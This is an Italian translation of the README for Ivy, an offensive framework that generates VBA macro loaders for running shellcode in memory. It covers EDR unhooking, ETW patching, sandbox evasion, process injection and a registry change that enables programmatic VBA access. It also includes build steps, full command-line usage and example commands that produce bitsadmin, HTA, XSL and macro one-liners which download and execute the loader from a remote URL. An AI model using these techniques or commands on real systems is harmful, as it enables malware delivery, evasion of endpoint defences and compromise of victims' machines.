
Ivy è un framework per la creazione di payload per l'esecuzione di codice sorgente VBA (macro) arbitrario direttamente in memoria. Il loader di Ivy fa questo utilizzando l'accesso programmatico nell'ambiente degli oggetti VBA per caricare, decrittare ed eseguire shellcode.
Per visualizzare l'ultima versione di Ivy o per segnalare un problema, fare riferimento a https://github.com/Tylous/Ivy.
Se vuoi saperne di più sulle tecniche utilizzate in questo framework e sulle misure difensive per proteggerti, dai un'occhiata all'Articolo.
Ivy è un framework per la creazione di payload per l'esecuzione di codice sorgente VBA (macro) arbitrario in memoria. Il loader di Ivy fa questo abusando dell'accesso programmatico nell'ambiente oggetto VBA per caricare, decifrare ed eseguire shellcode. Questa tecnica è il più vicino possibile a essere veramente senza file, poiché la maggior parte degli attacchi senza file oggi richiedono qualche tipo di file depositato su disco, bypassando così le regole standard basate su firme per il rilevamento del codice VBA. I payload VBA tipici hanno le seguenti caratteristiche:
Eseguendo puramente in memoria, queste caratteristiche comportamentali rendono più difficile essere rilevati dagli EDR.
I loader di Ivy sono crittografati usando la crittografia RC4 (la crittografia AES causa molto gonfiore e impiega un'eternità per essere decifrata da VBA) e poi suddivisi in stringhe separate, impedendo a qualsiasi sandbox di riconoscere queste stringhe come stringhe crittografate che dovrebbero essere investigate. Questo impedisce anche a qualsiasi meccanismo di decodifica di riconoscere questi payload come altro che caratteri spazzatura.
Il loader di Ivy esegue prima una query di registro per abilitare "Trust access to the VBA project object mode". Questo valore di chiave di registro viene memorizzato in modalità utente, permettendo all'utente di modificare il valore senza richiedere permessi elevati. Il valore del registro viene impostato da zero a 1; se la chiave di registro non esiste, Ivy la creerà con un valore di "1". Con questo valore abilitato, è consentito l'accesso programmatico all'ambiente oggetto VBA da un processo diverso.
Una volta fatto ciò, il loader avvierà un processo Excel nascosto e caricherà le stringhe crittografate in una funzione VBA. Questo viene fatto utilizzando ActiveX per simulare le azioni GUI dello stesso compito. Questo aiuta a bypassare molti controlli tradizionali in atto per monitorare l'esecuzione. Di conseguenza, la funzione di decifratura e lo shellcode vengono spostati da un buffer di memoria all'altro, senza mai toccare il disco. Infine, il loader utilizza chiamate command-GUI ed esegue la funzione run, che simula l'atto di cliccare sul pulsante di esecuzione macro nel pannello GUI di VBA, iniziando la funzione di decifratura, seguita dall'effettiva esecuzione dello shellcode.
IMPORTANTE
L'endpoint di destinazione deve avere Microsoft Office installato e attivato per funzionare perché Ivy si basa sull'abuso dell'accesso programmatico all'ambiente VBA di Microsoft Office.
Questo permette a Ivy di utilizzare chiamate di sistema di basso livello per costruire la propria versione della funzione Windows WriteProcessMemory, facendo riferimento indirettamente all'indirizzo di memoria diretto e ai valori dei registri. Ivy può sovrascrivere sezioni di memoria che non sono scrivibili senza chiamare alcuna funzione API di modifica della memoria. Questo è possibile grazie a una caratteristica di WriteProcessMemory che modifica temporaneamente i permessi della regione di memoria per renderla scrivibile (se si dispone di privilegi sufficienti, che abbiamo poiché possediamo il processo). Scrive il valore e ripristina i permessi originali senza chiamare la funzione VirtualProtect, ma chiama automaticamente la syscall associata (NtProtectVirtualMemory).
Ivy non utilizza una propria versione di NtWriteVirtualMemory perché questo processo di modifica temporanea dei permessi di memoria non avverrebbe, il che significa che la protezione dell'indirizzo di memoria specifico non verrebbe modificata e l'esecuzione fallirebbe. Questa è una "funzionalità" rilasciata da Microsoft per rendere i debugger più stabili. Poiché i debugger vogliono modificare la memoria al volo, possono semplicemente modificare una sezione senza dover eseguire più operazioni. (Vedi devblogs.microsoft.com per informazioni)
Diamo un'occhiata alla serie di eventi che un EDR vedrebbe:
Una volta che tutti gli hook EDR sono stati rimossi, il loader esegue la sua normale azione per stabilire una sessione remota.
Ivy affronta ciò rimuovendo gli hook dalle DLL di sistema comuni su cui gli EDR si agganciano, tra cui:
Quando si utilizza unhook con un tipo di payload Inject, il loader di Ivy rimuoverà prima gli hook dal processo Office, liberandolo dall'EDR, e poi rimuoverà gli hook nel processo iniettato. Questo assicura che entrambi i processi siano liberi da hook, impedendo l'invio di qualsiasi telemetria dal processo padre e figlio all'EDR.
Utilizzando la stessa tecnica per rimuovere gli hook, Ivy può fare patch alle funzioni ETW, impedendo la generazione di qualsiasi evento da parte del processo. ETW utilizza syscall integrate per generare questa telemetria. Poiché ETW è una funzionalità nativa di Windows, i prodotti di sicurezza non devono "agganciare" le syscall ETW per ottenere le informazioni. Di conseguenza, per prevenire ETW, Ivy esegue patch su numerose syscall ETW, azzerando i registri e restituendo il flusso di esecuzione all'istruzione successiva. Il patching di ETW è ora predefinito in tutti i loader; se desideri non patchare ETW, usa l'opzione da riga di comando -noetw per disabilitarlo nel tuo loader.
Ivy è stato sviluppato con Go.
Il primo passo, come sempre, è clonare il repository. Prima di compilare Ivy, dovrai installare le dipendenze. Per installarle, esegui i seguenti comandi:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Poi compilalo:
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Quando si genera un loader con Ivy, è necessario generare un payload a 64 e 32 bit e inserirli con gli argomenti da riga di comando -Ix64 e -Ix86. Questo perché il sistema operativo può essere a 64 bit ma la versione di Office in esecuzione potrebbe essere effettivamente a 32 bit; di conseguenza Ivy rileverà l'architettura adatta prima di iniettare il payload.
Inoltre, quando si genera un loader, ci sono due tipi di payload. Il primo, Inject, esegue un attacco di process injection in cui un nuovo processo viene avviato in stato sospeso e lo shellcode viene iniettato nel processo, prima di riprenderlo. Mentre l'iniezione di processo può essere utile e genera un processo non di Excel, gli EDR sono molto abili nel rilevare l'atto di creare un processo sospeso da iniettare, il che può farci scoprire. L'opzione più stealth è Local. Questo carica lo shellcode direttamente nel processo Office corrente. L'opzione Local viene fornita anche con funzionalità aggiuntive per evitare il rilevamento, utilizzando chiamate dirette ad alcune syscall di Windows. Ciò è dovuto al fatto che l'ambiente VBA ci permette di definire e chiamare la funzione esatta (a condizione che abbiamo allineato correttamente tutti i registri prima) basata sullo stack. Infine, il loader di Ivy in questo tipo di payload ha una chiamata non documentata per eseguire lo shellcode, rendendo più difficile intercettare l'esecuzione.
Con la modalità Inject, Ivy creerà un processo in stato sospeso per iniettare shellcode. A seconda che si tratti di un sistema a 32 o 64 bit, avvierà un processo diverso. Ivy viene fornito con alcuni nomi di processo predefiniti da avviare, ma questi possono essere modificati usando i flag process32 o process64. Quando si specifica il percorso, assicurati di usare \\ per il percorso.
Prima di tutto, DOVRESTI SEMPRE USARE l'argomento -stageless. Tuttavia, se mai avessi bisogno di eseguire un payload staged, puoi farlo non usando l'argomento -stageless. Quando usi -stageless puoi usare shellcode raw, ma quando scegli di eseguire un payload staged, è importante che per i tipi di payload Inject lo shellcode sia formattato in VBA e per i tipi Local lo shellcode sia formattato in C.
L'argomento da riga di comando delivery ti permette di generare un comando o una stringa di codice (nel caso della macro) per prelevare remotamente il file da una sorgente remota verso l'host della vittima. Questi metodi di consegna includono:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
Attualmente esiste un problema noto con la rimozione degli hook dal processo remoto iniettato. Una soluzione alternativa per ora è caricare il BOF unhook.